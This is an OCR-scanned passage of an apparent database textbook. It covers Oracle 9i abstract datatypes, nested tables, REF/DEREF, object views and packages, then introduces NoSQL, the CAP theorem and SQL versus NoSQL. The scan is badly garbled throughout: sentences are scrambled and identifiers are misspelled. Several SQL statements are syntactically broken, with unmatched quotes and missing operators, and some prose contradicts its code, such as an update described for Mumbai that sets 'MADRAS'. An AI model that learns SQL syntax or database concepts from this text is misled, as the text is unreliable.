defined by a named TYPE.
The DESCRIBE command does not show the structure of hoe
TYPE associated with the Person column. There is a need to query
information.
the data dictionary directly to see that
Example:
DESC PERSON_TY;
Output
Name Null? Type
Example
DESC ADDRESS_TY;
Output
Name Null? Type
Output:
ATTR_NAME LENGTH ATTR_TYPE _NAME
STREET 40 VARCHAR2
CITY 20 VARCHAR2
STATE 20 VARCHAR2
PIN NUMBER
Oracle 9i /177
are to be inserted into a table
when records
method can be used
abstract datatypes.
created from table uses the PERSON
PERSONN
CUSTOMER
the
For example, datatype es the ADDRESS
uses ADDRESS
PERSON_TY
the into the CUSTONM.
datatypes, and insert a record
In order to
abstract datatype.
PERSON_TY and
ADDRESS_TY datat
the
table, a record using insert records using
this datatype, the us
useof
inserted. To
needs to be is required.
methods for the abstract datatype
the constructor
Example using the constructor
inserted into OCUSTOMER
A record is abstract data types.
the PERSON_TY and ADDRESS_TY
methods for are shown in
methods for these abstract data types
The constructor the data type:
have the same names as
bold in the example. They
PERSON_TY(Rahul
COUSTOMER VALUES(1,
INSERT INTO
ADDRESS_TY(Kothrud', 'Pune', "Maharashtra', 411054))
Output:
1 row created.
be inserted as a row
The insert command provides the values to
must match the column
in the CUSTOMER table. The values provided
in the table.
1 is specified.
CUSTOMER_ID value of
In the above example, a the
Person column are inserted, suing
Then, the values for the
Within the
constructor method (shown in bold).
PERSON_TY and then the
a Name is specified
PERSON_TY datatype,
(shown in bold and underiined)
ADDRESS_TY constructor method
used to insert the Address values.
Name value is Rahul, an
For the record inserted in the example, the
for the constructo
the Street value is Kothrud. Here the parameters
attributes of the datatype
method are in the exact same order a s the the
The second record has now been inserted into the custome in
Oracle/178
the selection of
CUSTOMER_ID values from
required, that colum
queried from the CUSTOMED
can simply be
SELECT CUSTOMER_ID FROM CUSTOMER table
Output:
CUSTOMER_ID
2
Querying the CUSTOMER_ID values is
column nomal datatype within the
is a straightforward, since that
the columns of the CUSTOMER table are
CUSTOMER table. When all of
the abstract datatype is disclosed. queried, the complexity of
Example
SELECT FROM CUSTOMER;
Output
CUSTOMER_ID
PERSON (NAME, ADDRESS (STREET, CITY, STATE, PIN))
1
Oracle 9i 179
Output
CUSTOMER_ID PERSON.NAME
1 Pallavi
2 Mahesh
There is a difference between INSERTS and SELECTS
SELECTS
Commands. In INSERTS the name of the datatype is needed and
is used.
during SELECTS the name of the column
values from the CUSTOMER
What if the selection of the Street
table is needed?
The STREET column is part of the ADDRESS_TY datatype, which in
To select this data, extend
turn is part of the PERSON_TY datatype.
the Column. Attribute fomat to include the nested type. The format will
be
TABLEALIAS.COLUMN.COLUMN.ATTRIBUTE
Example
To select the STREET attribute of the ADDRESS attribute within
the PERSON column, the query will be,
SELECT CLIENT.PERSON.ADDRESS.STREET FROM CUSTOMER
CLIENT
Output
PERSONADDRESS.STREET
Kothrud
M.G. Rd.
The syntax SELECT CLIENT.PERSON.ADDRESS.STREET tells
Oracle exactly how and where to find the Street
attribute.
The main thing we have to take
in mind that if an abstract
datatype is used, neither INSERT nor SELECT values for the abstract
datatype attributes can be done without
of the attributes. knowing the exact structure
A column's values cannot be inserted
or updated unless the
datatype is known and the nesting of
For example, the CUSTOMER
datatypes needed to reach it
table's city values cannot
cannot be
selected unless it is known that
and Address is part of the Person
city is part of the Address attribute
column.
Oracle/ 180
Example:
SELECT
cUENT.PERSON.ADDRESS.CITY FROM CUSTOMER CLIENT CLIENT.PERSON.NAME,
WHERE CLIENT.PERSON.ADDRESS.CITY LIKE 'M
Output:
PERSON.NAME PERSON ADDRESS. CITY
Rahul
Pune
Smita
Pune
While updating data within
abstract datatype we have to
an
refer
to its attibutes ia the Column Attributes syntax shown in the
preceding examples.
For Example:
To change the CITY value for customers who live in Mumbai
execute the following UPDATE statement:
UPDATE CUSTOMER CLIENT SET
CLIENT.PERSON.ADDRESS.CITY ="MADRAS
WHERE CLIENT.PERSON.ADDRESS.CITY "CHENNAI':
Output
2 rows updated.
Oracle will use the WHERE clause to find the right records to
update, and the SET clause to set the new values for the row's ClTY
columns.
From the above examples we see that using an abstract datatype
simplifies the representation of the data but my complicate the way in
which it is queried and worked with. The benefits of abstract datatypes
need to be weighed (more intuitive representation of the data)
access and
against the potential increase in complexity of data
manipulation. to its
While deleting data within an abstract datatype we have to refer
the
attrbutes via the COLUMN.ATTRINUTES syntax shown in
preceding examples.
For example, to delete the record for the customers who live in
Kothrud, execute the following delete statement
Example:
DELETE FROM CUSTOMER CLIENT WHERE
CLIENT.PERSON.ADDRESS.STREET = "Kothrud;
Oracle will use the where clause to find the right records to delete
Output
1 row deleted
Oracle 9i /181
OBJECT VIEWS
IMPLEMENTING
6.6
dataoase applications,
the
While implementing object-relational used. Ihen the databae.
design
are first
methods atabase
relational database
and groups
of columns can be
normalised
design is properly looked for. Abstract datahn
ypes
abstract datatype are
represented by an
columns.
Ihen tables can be creato
ed
these groups of
are created for
datatypes.
based on the abstract the order of operations is as
Views?
6.6.1 Why Use Object
to overlay Object-Oriented (00)
The need would be the ability relational tables.
such as abstract datatypes, on existing
structures, this.
a means for doing exactly
Oracle provides Object views as
and
If the CUSTOMER table already
exists, the ADDRESS_TY
views could be
PERSON TYdatatypes could be created and object
CUSTOMER table. In the following
used to relate them to the
a relational table, using
example, the CUSTOMER table is created as
only the Oracle8i/9i standard datatypes.
CREATE TABLE CUSTOMER
KEY, NAME
(CUSTOMER_ID NUMBER PRIMARY
VARCHAR2(25),
STREET VARCHAR2(40), CITY VARCHAR2(20), STATE
VARCHAR2(20), PIN NUMBER);
If another table or application that stores information about peop
and addresses is required, ADDRESs_TY can be created and applieu
to the CUSTOMER table as well.
Example
By using CUSTOMER table already created, the abstra
datatypes should be created. First, create ADDRESS_TY. Consider
that ADDRESS_TY and PERSON_TY datatypes ists.
do not already *
CREATE OR REPLACE TYPE
ADDRESS_TY AS OBJECT
(STREET VARCHAR2(40), CITY VARCHAR2(20), STATE
VARCHAR2(20), PIN NUMBER):
Oracle 182
create PERSON_T that uses ADDRESs
Next, _TY:
cREATE QR REPLACE TYPE PERSON_TY AS OBJECT
(NAME VARCHAR2(20), ADDRESS ADDRESS_TY);
Nex, create CUSTOMER_TY that uses PERSON TY:
CREAT OR REPLACE TYPE CUSTOMER_TY AS OBJECT
(CUSTOMER_ID NUMBER, PEROSN PERSON_TY);
Consider another example displaying customer column
CUSTOMER_OV.
creating the
Oracle 9i /183
3. Create the PERSON_TY datatype, using the ADDRESs
..datatype. S_TY
4. Create the CUSTOMER_TY datatype, using the PERSON
datatype.
RSON_TY
5. Create the cUSTOMER_OV object view, using the
ined
datatypes.
Oracle 184
The
example shown in the
following listing
the
mtothe CUSTOMER_OV
CUSTTO
object view
inserts a
single record
DERSON_TY, using the
and
CUSTOMER_TY,
ADDRESS_TY constructor methods:
Example:
NUMBER(10.2).
Oracle 9i /185
DEPENDENTS DEPENDENT_LISTT):
DEPTID NUMBER(5),
EMPLOYEE_INFO
of the TYPE
6. For creating the TABLE
EMPLOYEE_INFO TY OFEMPLOYEE_INFO_TY
DEPENDENT_LIST(
DEPENDENT_TY(Brother', NAME TY(Qjas
Camp',Pune',411001)), 19),
ADDRESS_TY (M.G.RD',
DEPENDENT_TY(Mother, NAME_TY(Gaur,
Oracle 186
Deleting values of a child record in the nested table:
DELETE THE (SELECT DEPENDENTS FROM
EMPLOYEE_INFOJDEPENDS
WHERE DEPENDS.RELATION 'Colleague'; =
Example
DESC COMPANY INFO;
Output
Name Null? Type
COMPANY_NAME VARCHAR2(40)
ADDRESS COMPANY_ADDRESS_TY
The USER TAB_COLUMNS data dictionary view is used to see
information about the structure of the Address column.
Example
SELECT cOLUMN_NAME, DATA_TYPE FROM
USER_TAB_COLUMNS
WHERE TABLE_NAME "COMPANY_INF0:
=
Output
COLUMN NAME DATA TYPE
COMPANY_NAME VARCHAR2
ADDRESs
From the COMPANY_ADDRESs_TY
address columnUSER_TAB_COLUMNS output, it is seen
the
its datatype.
uses the
COMPANY ADDRESS TY varying tna
ar
as
Oracle 188
x a m p l e :
Output:
NPECODE ATTRIBUTES
COLLECTION
USER COLL_TYPES
The USER COLL TYPES data dictionary view can be queried to
see the characteristics of the Varying array, including the upper limit to
the number of entries it can contain per record and the abstract
datatype on which it is based.
The USER_COLL_TYPES data dictionary view can be queried to
see the data type COMPANY ADDRESS_TY as:
Example
SELECT TYPE_NAME, COLL_TYPE, UPPER_BOUND FROM
USER COLL_TYPES.
WHERE TYPE_NAME = 'COMPANY_ADDRESS_TY:
Output
COLL_TYPE UPPER_BOUND
TYPE NAME
COMPANY_ADDRESS_TY VARYING ARRAY 3
Data Manipulation
insertion of data into thetable.
We see below the example of
Example
VALUES ('Alfa Technologies',
INSERT INTO COMPANY_INFO
F.C. Road, Pune,
cOMPANY_ADDRESS_TY ('15, OM Archade,
16', NULL, NULL)); International:
COMPANY INFO
VALUES ('Swami
INSERT INTO
Plot No. 17, Gokul
17, Goku
COMPANY_ADDRESS_TY('Vrindavan,
Oracle 9i /189
inserts address of data but two of the
one
VARRAY elements
ts are nu,
the second inserts three values for address.
instance referenced by a
specific REF value.
Example For The Use OF REF
Oracle 9i /191
D
0000280209A656BEEF11D1AD5B0060972CFBABA656BEEE118811
D1AD5BO060972CFBA8008000C10000
0000280209A656BEEF11D1AD5B0060972CFBA8A656BEEE11B811
D1AD5B0060972CFBA8008000C10001
department
SELECT 'Sumeet Rao', 1, REF(d) FROM DEPT
INSERTINTO EMP
D
WHERE D.DNAME='Production';
Output
1 row created.
Sumeet 1
0000220208A656BEEF11B811D1AD5B0060972CFBA8A656BEEE11D1AD5B006097
2CFBAB
9. For viewing ENAME, ENUMBER and the details of EDEPT
column of the EMP table using the DEREF routine
SELECT ENAME, ENUMBER, DEREF(EDEPT)FROM EMP:
Output
ENAME ENUMBER DEREF (EDEPT) (DNAME, ADDRESS)
Oracle 192
6.11 INTRODUCTION TO ORACLE PACKAGES
A Dackage is an oracle
object, which holds other objects within
it Objects commonly held within a
functions ,variables ,constants ,cursorspackage
are procedures
and exceptions. The
used to create a package is SQL'Plus. It is tool
way of creating
generic,encapsulated ,reusable code.
A package once written and debugged is
compiled and
oracle's system tables held in an oracle database. stored in
have execute All users who
permissions on the oracle database can
then use
the package
Packages can contain PL/SQL blocks of code, which have
written to perfom some process been
entirely on their own. These
PUSQL blocks of code do not require kind of input from other
PUSQL blocks of code. These are any
the package's standalone
subprograms.
Alternatively, a package can contain a subprogram that requires
input from another PL/SQL block toperform its programmed
processes successfully .These are also subprograms of the
package but these subprograms are not standalone.
Subprograms held within a package can be called from other
stored programs, like
triggers pre
Interactive oracle program like SQL*Plus.compilers
or any other
Oracle 9i /193
. Packages improve performance by loading muliple objects
calls to related
into memory at once. Therefore subsequent
no l/O
subprograms in the package require the use libraries that
6. Packages promote code reuse through
of
functions ,thereby reducing
contain stored procedures and
redundant coding.
Package Specification
contains
The package specification
-Name of the package
-Name of the data type of any arguments and global to the
declaration is local to the database
This
package that procedures ,functions,
variables ,constants
This means
declared in a package
and exceptions and other objects
,cursors Therefore all the
are accessible from
anywhere in the package. is
execute a stored subprogram,
infomation a package needs ,to
contained specification itself.
in the package
Example creation specification. In
The following is the example of package
declares a function and a
this example, the specification
procedure.
CREATE PACKAGE BNK_PCK_SPEC
IS
F_CHKACCTNO(VACCT_NO IN VARCHAR2)
FUNCTION
RETURN NUMBER
PROCEDURE PROC_INSUPD(VFD_NO
INN
IN VARCHAR2,VACCT_NO IN VARCHAR2,VAMT
NUMBER;
END BNK_PCK_SPEC;
Output:
Package created.
Thepackage Body
The body of the package contains the definition of public object
that are declared in thee specification. The body can also contain
other object declarations that are private to the package. Ine
objects declared privately in the package body are not accessI
other objects outside the package. Unlike package specificatio
,the package body can contain subprogram bodies.
After the package is written ,debugged ,compiled and stored inn
the database applications can reference the package's types, ca
its subprograms ,use its cursors ,or raise its exceptions.
Alterations to an existing package
To recompile a package use the ALTER PACKAGE command
with the compile keyword. This explicit recompilation elimina
the need for any implicit run time recompilation and
prevents a
associated runtime compilation errors and performance overhead
-
Oracle/ 194
Mis common to explicitly comple a package after modifications to
the package.
Recompiling a package recompiles all objects defined within a
nackage. Recompiling does not change the definition of the
nackage or any of its objects. This statement recompiles the
package specification.
Syntax:
ALTER PACKAGE <PackageName> COMPILE PACKAGE
The following example recompile just the body of a package.
Example:
ALTER PACKAGE TRANSACTION_MGMT COMPILE BODY;
Output:
Package body altered.
6.12 Summary
2) Methods
3) Abstraction
6.7, 6.8,6.9,6.10
1) Nested Tables
2) REF
3) SCOPE
Oracle 9i /195
6.14 QUESTIONS FOR SELF STUDY
Q.1. Create the table described below:
Table Name SALESMAN_MASTER
Description : Used to store information about products.
Column Name Data TypeSize Default Attributes
SalesmanNo Varchar2 5
SalesmanName Varchar2 15
Address Address_Ty
SalAmt Number 10.
2
Remarks Varchar2 50
Oracle 196
Create type Address_Ty consisting of the following columns
Type Name : Address_Ty
Column Name Data Type
Size
Address 1 Varchar2 25
Address2 Varchar2 25
City Varchar2 15
PinCode Number 8
State Varchar2 10
Name Varchar2 25
Dependents Dependent_List
d) Create tie TABLE Salesman_info of the TYPE
Salesman_info_ty
Oracle 9i /197
Chapter:7
NOSQL
7.0 Objectives
7.1 Introduction
7.2 NOSQL Database
7.3 Database Features of
N0sQL
7.4 Why NOSQL?
7.5 Types of NOSQL
7.6 Structured vs
Unstructured Data
7.7 Comparative
study of SQL and NOSQL
7.8 What is the CAP Theorem?
7.9 NOSQL Data Model
7.10 Introduction to Big Data
-
Check Your Progress Answers
-
7.0 Objectives
After studying this chapter you will be able to-
Explain need of NOSQL
Features of NOSQL
Why to use NOSQL
7.1 Introduction
This chapter introduces you to the concept of NosQL. It
also describes concept of Big Data.
NOSQL 199
databases provide the
Scale web applications. Non-relational
application,
Scale and speed that you may need for your
Management System.
NoSQL is a non-relational Database
distributed data stores with
NoSQL database is used for
needs. NoSQL is used
for Big data
humongous data storage
It is designed for distributed data
and real-time web apps.
needs. These
stores where large scale of data storing
very
fixed schema, avoid join
types of data storing may not require
operations and typically scale horizontally.
Only SQL" or "Not sQL" or
NoSQL database stands for "Not
"Not Structured".
such as:
Non-relational data model.
Runs well on clusters.
Mostly open-source.
Built for the new generation Web applications.
Is schema-less.
Key-Value pair storage, Column Store, Document Store,
Graph databases
Eventual consistency rather ACID property
Unstructured and unpredictable data
2. Document-based database
Document-based database stores documents made up of
tagged elements.
and RavenDB
Ex- MongoDB, CouchDB, OrientDB,
.
3. Column-based database
data from only one column.
Each storage block contains
Ex-BigTable, Cassandra, Hbase, and Hypertable
uch
Sructured Data into a
nicely
of data that fits
quantitative data- is the type and easily
elati
relational database. It's highly
organized
NOSQL I201
analyzed.
comprised of eariy defined data types whose
makes them easily searchable pattern
Ex- Dates, Phone numbers, ZIP codes, Customer names
n
It's inherent structure andoderliness makes it simn
query and analyze. Common applications that rah
imple to
y on
ude CRM,
structured data in relational databases include CRM, ER
ERP
and POS systems.
Unstructured Data
Unstructured data has internal structure but is not
structured via pre-defined data models orschema.
It may be textual or non-textual, andhuman- or machine.
generated. It may also be stored within a non-relational
database like NoSQQL
E x - Text files, media files, satellite images, sensor data.
Semi-structured Data:
Semi-structured data is information that does not reside in
a relational database but that have some organizational
properties that make it easier to analyze.
With some process, you can store them in the relation
database
.Ex-XML data
Many Big Data solutions and tools have the ability to 'read
and process either JSON or XML. This reduces the
to
complexity to analyse structured data, compared
unstructured data.
SQL NoSQL
SQL is primarily as Relational NoSQL is on-relational or
Databases (RDBMS) distributed database.
table based databases document based, key-value
pairs, graph d a t a b a s e s of
wide-column databases
NOSQLI 202
have predefined schema have dynamic schema for
unstructured data.
vertically Scalable
horizontally scalable
hest suited
best suited for
complexnot so good for complex
queries
queries
not suited for hierarchical best suited for hierarchical
datastorage data storage
sQL databases emphasizes NoSQL database follows the
on ACID properties Brewers CAP theorem
(Atomicity, Consistency, (Consistency, Availability and
Isolation and Durability) Partition tolerance)
Ex- MySq Oracle, Sqlite, MongoDB, BigTable, Redis,
Postgres and MS-SQL RavenDb, Cassandra,
Hbase, Neo4j and CouchDb
2. Availability
The database should always be available and responsive.
It should not have any downtime.
3. Partition Tolerance
Partition Tolerance means that the system should continue
to function even if the communication among the servers is not
stable. For example, the servers can be partitioned into
other.
multiple groups which may not communicate with each
Here, if part of the database is unavailable, other parts are
***
2. Aggregates
All major genres of NoSQL provide soft schema capabilities
in one way or another
Key-Value Stores and Graph Databases typically do nat
place constraints on values, so values can be comprised o
defined schema.
3.
Application Side Joins
Joins are
rarely supported are
in NosQL solutions.
often handled at design time Joulsmo
NOSQLI 204
.almost always mean a performance penalty, but in many
joins
cases one can avoid joins using Denormalization and
Aggregate i.e. embedding nested entities. Of course, in
many cases joins are inevitable and should be handled by an
application. The major use cases are:
Many to many relationships are often modeled by links and
require joins.
Aggregates are often inapplicable when entity internals are
the subject of frequent modifications. It is usually better to keep
a record that something happened and join the records at
query time as opposed to changing a value.
NOSQL 205
to-machine data is also important to parse Big Data in a timely
manner.
Variety the data that is generated is
completely
completely
References
Databases: NoSQL, Big Data
1. Next Generation
Publication
-Guy Harrison,Apress
NoSQL for Dummies
2
- Adam Fowler
NOSQLI 206
C) Explain in
detail
1. What is Big Data ?
2 What are the features of NosQL?
3. Explain CAP theorem in detail.
4. Compare SQL and NosQL
B)
1. False
2. True
NOSQLI 207